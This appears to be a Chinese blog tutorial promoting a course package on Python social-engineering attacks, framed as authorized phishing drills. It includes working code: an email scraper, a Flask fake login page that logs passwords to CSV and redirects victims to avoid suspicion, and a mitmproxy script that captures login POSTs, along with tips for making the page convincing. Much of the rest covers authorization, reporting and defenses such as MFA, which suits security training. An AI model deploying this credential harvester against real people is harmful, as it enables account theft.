简介:一份面向网络空间安全、信息管理及Python课程设计方向的综合实践资源包,聚焦社会工程学攻击的原理与实现,帮助学习者理解信息收集、心理操纵、信任建立等非技术性攻击手段,进而强化安全防御意识,也可作为高校课程设计或安全通识教育的参考资料。资源包共含2个文件:Python源码与配套实验报告docx,压缩包约1.09MB;源码覆盖自动化信息收集、Scapy网络嗅探、SMTP邮件伪造、语音交互模拟及简易恶意程序等脚本,实验报告则按步骤记录操作过程、结果与风险分析,便于复盘和答辩准备。已有431人学习下载。初学者可逐段拆解代码掌握攻击链路的Python实现,进阶者可将源码改造用于安全演练或攻防演示;内容同时强调道德法律边界,引导将技术用于防护而非滥用。
1. 这个zip里装的不只是脚本:社会工程学攻击为什么值得你拆开看
如果你拿到一个《基于python的社会工程学攻击(内含源码和实验报告).zip》,建议先不要急着解压运行。这个包的价值,不在那几行Python脚本,而在于它从信息收集到凭据落地串出了一条完整演示链。真正做过钓鱼演练的人会有同感:攻击效果好坏,九成取决于脚本之外的细节——页面长得像不像、链接上下文是否可信、报告里有没有留下审计痕迹。这篇实战笔记围绕python源码复现这个方向,按我自己的环境把最小实现、参数调整和踩坑过程展开,适合安全测试人员、蓝队运维和负责员工安全意识培训的同事。你不需要有红队背景,但至少要能在自己的授权环境中运行Python脚本,并且知道哪些操作在合法边界内。
2. 社会工程学攻击的四个阶段:从情报收集到拿到权限,Python在其中扮演什么角色
2.1 攻击链拆解:社工攻击不只是"钓鱼"这么简单
社会工程学攻击与常规漏洞利用的最大区别,在于攻击面是人而不是软件漏洞。一条典型的攻击链可以拆成四个阶段:侦察、诱饵构造、交互触发、凭据收集。侦察阶段决定后续所有动作的可用资源,比如目标部门邮箱、常用系统名称、内部系统的登录页风格。诱饵构造的核心是让被攻击者认为消息来源可信,这一步直接决定打开率。交互触发指用户点击链接、打开附件或输入账号密码的瞬间。凭据收集则是在后端记录数据并把用户引回合法页面,避免当场露馅。
Python在这四步里都能参与:侦察阶段用脚本批量整理目标公开页面里的联系方式,诱饵阶段用Flask快速生成与内网系统同风格的页面,交互阶段用前端校验和后端日志记录事件,凭据收集阶段把表单数据落库。相比现成社工工具一键生成的页面,Python方案的好处是每个环节都留得下可观测日志,方便结束后复现和分析。一个实际案例是去年我做的一次内部钓鱼演练,目标系统页面使用了很老的单点登录框架,现成工具模板完全对不上,最后就是用Flask手工仿了一个同风格页面,才让提交率达到预期。这也说明,工具只是起点,理解流程和编写代码的能力才是关键。
2.2 为什么用Python而不是现成工具:可控性和可塑性的取舍
很多现成工具能在一分钟内生成一个钓鱼页面,比如常用的社工工具包或钓鱼模板平台。但它们的模板相对固定,如果目标环境有统一认证系统,模板很容易被识破。另一个问题是工具生成的脚本往往把请求处理、日志存储、页面克隆封装成黑匣子,测试结束后你无法从日志中还原用户行为。我一般倾向于用Python的Flask框架做最小复现,原因不是它比现成工具强,而是每一步都能通过代码控制。下面的Python示例,用来在授权范围内整理目标公开页面的联系方式,演示侦察阶段最常见的文本处理:
import re import requests # 仅用于获取目标自己公开的招聘邮箱,测试前需要获得书面授权 resp = requests.get("https://example.com/about", timeout=10) emails = re.findall(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", resp.text) unique_emails = sorted(set(emails)) for mail in unique_emails: print(mail)这段代码使用requests请求目标公开页面,用正则表达式匹配常见邮箱格式,最后对结果去重。实际使用时需要注意两点:第一,尽管网站管理员可以通过robots.txt声明禁止抓取,但授权测试需要以书面批准为准;第二,不要对非授权目标运行这段代码。它只是演示Python在信息整理上的优势,距离完整攻击链还很远。
这里还能看出Python方案的可塑性和易错性。容易错的地方是正则会对JS变量里的“字符串@字符串”也做匹配,导致结果里混进大量无效地址;所以下一步一般会过滤掉前后带引号或属于图片链接的邮箱。这种细节在图形化工具里很难改,在Python里只要多写两行过滤逻辑就行。另一个好处是可以方便地做并发采集,几十个目标页面用httpx的异步请求在数秒内完成,这对现成工具来说是很难扩展的。
2.3 授权边界与最小权限:测试脚本必须保留的四个字段
在讨论技术实现前,有必要把授权边界先讲清楚。社会工程学攻击一旦失控就会变成真实攻击,所以跑测试脚本前至少要确认四点:测试时间窗口、涉及的系统清单、通知范围、应急联系人。这四个字段应该直接写在实验报告的第一屏,并同步给值班团队。很多翻车事件并不是脚本写得不好,而是没在正确的边界里运行。
Python脚本里通常要保留四个信息字段,便于后续审计。我会在日志文件里固定写入timestamp、source_ip、user_agent、test_token。source_ip用于区分测试流量和真实异常流量;user_agent用于判断是不是同一批测试终端;test_token是当次演练的随机编号,可以把邮件、页面和收集记录串成一条链路。这样即使出了问题,也能在几分钟内定位是哪一条测试路径触发了告警,而不是翻遍所有服务器日志。下一章就从环境准备开始,把最小社工复现环境搭起来。
3. 复现一个最小社工测试环境:用Python搭建钓鱼页面与凭据收集
3.1 环境准备与目录结构
复现这个方案不需要太多依赖,建议使用Python 3.8以上环境,可以避免一些字符串编码兼容问题。首先确认Python安装正确,然后安装Flask。在我自己电脑上,安装命令是:
python --version pip install flask如果网络环境受限,可以使用国内镜像,例如pip install flask -i https://pypi.tuna.tsinghua.edu.cn/simple。安装完成后,检查Flask版本:
python -c "import flask; print(flask.__version__)"测试工程建议按下面的目录结构组织:
phishing-lab/ ├── app.py # Flask主程序,处理GET/POST请求 ├── templates/ │ └── login.html # 登录页面模板 ├── collected_creds.csv # 凭据记录文件,运行后自动生成 └── README.md # 记录授权范围和测试时间把目录结构固定下来,好处是实验报告可以按文件引用代码,复盘时不会找不到对应版本。如果计划做多轮测试,建议在目录名里加时间戳,比如phishing-lab-20250421,避免覆盖上一轮的日志。
3.2 用Flask起一个本地钓鱼页:最小代码与参数说明
下面是这个最小演示的app.py代码。它只做三件事:将GET请求渲染为登录页面,接收POST请求中的用户名和密码,并把数据写入CSV文件。
from flask import Flask, request, redirect, render_template import csv import os # 记录文件保存路径 CRED_FILE = "collected_creds.csv" def save_cred(username, password): file_exists = os.path.isfile(CRED_FILE) with open(CRED_FILE, "a", newline="", encoding="utf-8-sig") as f: writer = csv.writer(f) if not file_exists: writer.writerow(["username", "password", "user_agent", "source_ip", "test_token"]) writer.writerow([ username, password, request.headers.get("User-Agent", ""), request.remote_addr, "TOKEN-20250421-001" ]) print(f"captured: {username} / {password}") app = Flask(__name__) @app.route("/") def index(): return render_template("login.html") @app.route("/login", methods=["POST"]) def login(): username = request.form.get("username", "") password = request.form.get("password", "") save_cred(username, password) # 无论输入什么都重定向到公司系统,避免被察觉 return redirect("https://example.com/login") if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=False)逻辑说明:页面加载时,index函数返回templates目录下的模拟登录页;用户提交表单后,数据从request.form中提取,写入CSV时使用utf-8-sig编码以避免Excel打开中文乱码。最后重定向到真实系统地址,让用户认为自己只是输错了密码或网络短暂跳转。save_cred里同时记录了User-Agent与源IP,方便后续分析测试人群和真实受害者分布。
参数说明:host="0.0.0.0"表示监听所有网卡,允许同网段的其他测试机访问;port=5000是Flask默认端口,如果被占用可以换5001。debug=False必须保持关闭,否则启动时会多出一个调试进程,且错误页会暴露源码路径。redirect后的地址要换成你自己公司可用的测试域名,一定不要放一个真实可登录的外部系统,避免制造混淆。代码里的test_token固定写在字段里,如果要做多轮测试,建议改成从环境变量读取。
对应模板templates/login.html可以非常简单,只需要一个form提交到/login。首屏页面还需要让用户看不出破绽,一般模仿内部统一认证平台的标题和Logo,但纯静态页面就够了。
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>统一身份认证</title> </head> <body> <h2>欢迎登录</h2> <p>为了保障账号安全,请使用内部账号登录。</p> <form action="/login" method="post"> <input type="text" name="username" placeholder="工号" required> <input type="password" name="password" placeholder="密码" required> <button type="submit">登 录</button> </form> </body> </html>代码没有复杂逻辑,就是标准的HTML表单。表单action指向/login,name属性必须与后端request.form.get里的字符串一致,否则会收集不到内容。样式上不要堆砌样式表,尽量复用企业内部系统页面使用的字体和布局,简洁干净更容易通过用户的警觉。如果想更逼真,可以把页面标题改成目标系统的中文名称,并在页脚加一句“如有异常请联系信息中心”。
启动服务后,在浏览器访问http://127.0.0.1:5000,提交任意测试账号,打开collected_creds.csv就能看到记录。这一步验证通过后,再考虑带上外发邮件和落地页的完整链路。运行验证命令:
python app.py看到Flask打印的Running on http://0.0.0.0:5000说明服务正常。注意不要在有防火墙策略的生产网段直接跑,这会触发大量扫描和告警。
3.3 配合mitmproxy或自定义脚本做登录劫持
上面这个方案依赖用户主动访问钓鱼页,效果受限于诱导话术。若要观察更真实的数据流向,可以在中间链路加一次流量转发,比如使用mitmproxy作为代理脚本。mitmproxy本身是Python开发的,可以写一段内联脚本来实时捕获POST请求,而不需要修改目标应用。常见做法是在内网测试时,给一个特定客户端配置代理,再通过DNS或hosts文件把目标域名解析到测试机。内联脚本的核心逻辑如下:
from mitmproxy import http def request(flow: http.HTTPFlow) -> None: if "example.com/login" in flow.request.pretty_url: if flow.request.method == "POST": with open("caught.txt", "a") as f: f.write(f"{flow.request.urlencoded_form} " f"{flow.request.headers.get('User-Agent', '')}\n")这种脚本会记录所有对指定URL的POST参数,不需要目标应用配合。注意urlencoded_form只对application/x-www-form-urlencoded类型生效,如果目标系统用JSON传参,就需要改成flow.request.get_text()。实际测试中,HTTP明文流量很容易被HSTS拦截,所以代理方式更适合在完全受控的离线环境复现。我自己的经验是,优先用Flask本地页面完成最小验证,确认日志无异常后再考虑代理方案,否则排查问题时两个环节会互相干扰。
3.4 实验报告里该记录什么:字段与指标
源码包里的实验报告,通常不能只贴代码和页面截图,否则领导只会看到“攻击成功”三个字。建议报告至少包含两类信息:授权与范围、观测指标与复盘。前者包括测试时间、授权工单编号、允许访问的系统列表、联系人电话;后者包括钓鱼链接打开率、表单提交率、提交账号是否命中真实账号、从登录页到收集成功的时间差。
| 阶段 | 观测指标 | 记录字段 |
|---|---|---|
| 侦察 | 目标清单准确率 | URL、联系方式、邮件地址数量 |
| 诱饵 | 页面打开率 | 邮件送达数、邮件打开数、链接点击数 |
| 收集 | 凭据提交率 | 表单提交数、真实账号命中数、User-Agent |
| 复盘 | 响应时间 | 用户提交时间、告警触发时间、运维确认时间 |
表格里的每一项都要有对应的日志来源。比如“页面打开率”可以来自邮件追踪服务,“凭据提交率”必须来自CSV记录,“告警触发时间”需要和SOC值班日志对照。没有日志来源的指标不要写进报告,不然会造成虚假安全感。实验报告里还要留一页“防御建议”,至少包括开启多因素认证、登录异常提醒、内部系统页面规范、员工安全意识培训计划。
4. 避坑指南:复现社工攻击时的5个常见问题与排查
4.1 现象:本地钓鱼页被浏览器拦成“危险网站”
我用Python起的Flask页面,在局域网测试时偶尔会被浏览器直接拦截,显示“后续操作可能会泄露个人隐私”或者被SmartScreen标记。原因是页面没有配置HTTPS证书,同时浏览器会基于站点信誉判断域名是否为危险站点。解决方式是明确这不是线上正式域名,只用于本地授权测试。我会把访问地址固定为http://localhost:5000或内网IP,并临时关闭第三方的站点安全检测插件。千万不要为了“提高打开率”而把未配置证书的钓鱼页外发到公网,那会把测试演变成真实攻击事件。
另外还需要确认访问者用的是不是公司管控浏览器。很多公司会下发放飞检测插件,本地测试页面一样会被拦截。遇到这种情况,提前在测试终端上做浏览器豁免,或者直接把页面挂到已备案的测试域名下,比在本地不断调环境更省时间。
4.2 现象:HTTPS证书报错导致目标拒绝访问
如果你想让钓鱼页和公司系统一样使用https协议,自签名证书一定会带来证书警告。这种警告会在用户还没输入账号前就打消信任感。解决方法是,如果测试环境没有合法的通配符证书,就不要强行上HTTPS,直接用HTTP配合hosts绑定,同时确保测试网段没有旁路嗅探。另一个常用做法是提前将自签名CA导入到测试客户端的信任区,但注意这会让测试结果失真,不能用来评估真实对抗场景。
在实际操作中,我会把这个坑写进实验报告的“环境限制”一节,说明测试结果偏正面未必代表真实环境安全。这一点很重要,因为很多用户看到“90%的人提交了账号”会觉得系统没问题,实际却忽略了HTTPS警告已经替用户挡下一部分风险。
4.3 现象:收集到的密码中文全部乱码
CSV文件在Excel打开时中文乱码,通常是编码问题。encoding="utf-8-sig"可以解决一部分,但老版本Office对UTF-8的支持仍然不稳定。更可靠的做法是写入时使用utf-8,读取时按实际环境转换,或在报告阶段用Python重新读取并输出编码为gbk的xlsx。这里的关键是先确认实验环境用的Python 3.8默认编码是UTF-8,然后统一所有读写代码里的编码参数。
还有一个经验:单独在CSV里存密码本身会触发杀软扫描,很多测试方案会改为只记录用户名和密码长度,密码内容不落盘。这样既能完成统计学分析,也减少敏感数据泄露范围。如果确需记录密码样本用于培训演示,建议限制采集数量并立刻加密压缩,密码文件不要和源码放在同一目录下。
4.4 现象:授权测试的邮件触发网关告警
即使有领导签字,钓鱼演练邮件一旦绕过公司邮件网关就会引发真实告警,SOC会把源IP加入黑名单。解决方法是测试前邮件通知SOC值班组和网络运维组,并在邮件主题中加上固定前缀,如[PENTEST-2025-0421],方便网关规则识别。Python脚本里发送邮件时,要确保SMTP账号和收件人范围都在白名单内,否则演完一场戏,自己的IP先被封了。这件事看起来简单,但在重保期间很容易翻车,至少提前两个工作日发变更通知。
如果公司有邮件DLP系统,还需要把测试邮件地址加入白名单,不然正文里出现“密码过期”这类关键词会直接被拦截。我见过一个项目,邮件网关自动把测试邮件隔离了大半天,最后打开率从预期的70%直接掉到个位数,整个演练节奏全乱。所以准备好测试前检查清单比写代码更重要。
4.5 现象:实验报告写成“犯罪记录”
如果你在报告中直接描述“我使用Python脚本抓取员工密码并破解成功”,那这份报告在法务眼里就是一份攻击自白,而不是技术复盘。正确的做法是在报告第一页附上授权测试文件编号,写明测试范围是模拟攻击,不包含真实业务数据。对采集到的测试账号进行脱敏处理,比如把真实密码替换成***,只保留账号长度和复杂度统计。报告结论部分必须落到防御建议上,例如开启多因素认证、对临时开放端口做收敛、加强离职账号清理。这样这份实验报告才能成为培训材料,而不是风险。
我习惯在报告末尾加一个“不当使用声明”,说明文中所有代码和方案仅限授权环境使用,并要求阅读者签名确认日期。听起来有点形式主义,但真出问题时,这页纸能保护你自己和团队,也劝退一部分想拿源码乱用的人。
5. 用检测者的眼光收尾:社工攻击模拟做完后,这三件事比脚本本身更重要
模拟一次社会工程学攻击,并不代表你理解了防护。只有把攻击结果转换成检测规则和修复建议,测试才有价值。我这里通常是三个动作。
第一,给采集到的记录打上可追溯标记。比如在CSV里增加一列test_token,每次测试使用同一个随机数,方便把邮件、登录页、账号密码和处置工单串联起来。代码里只要在保存记录时加一行writer.writerow([...] + [test_token]),就能让后续排查少走很多弯路。第二,验证检测链路。测试结束后立刻到SOC平台查询:邮件网关有没有产生[PENTEST]日志,EDR有没有对诱饵文件告警,用户有没有手动上报。如果没有任何告警,说明检测规则存在盲区,这比攻击本身更有价值。要把告警缺失记录为一项待修复问题。第三,给业务系统做一次及时修复。钓鱼演练中最容易暴露的是账号没有启用多因素认证、登录没有异常地提醒、管理员账号没有限制来源IP。把这些问题按严重程度排期,比再写一个钓鱼模板更值得投入。
以上这些步骤都做完了,那份zip里的代码对你来说就从一个攻击demo变成了一个可复用的安全测试基线。我吃过亏:早期只顾着把页面做得像、把脚本跑通,最后忘记留授权痕迹,结果被合规追着补材料。希望你拿到的每一份源码,都能在自己的授权环境里快速变成一份能说服老板的防御报告——希望帮到你。
本文还有配套的精品资源,点击获取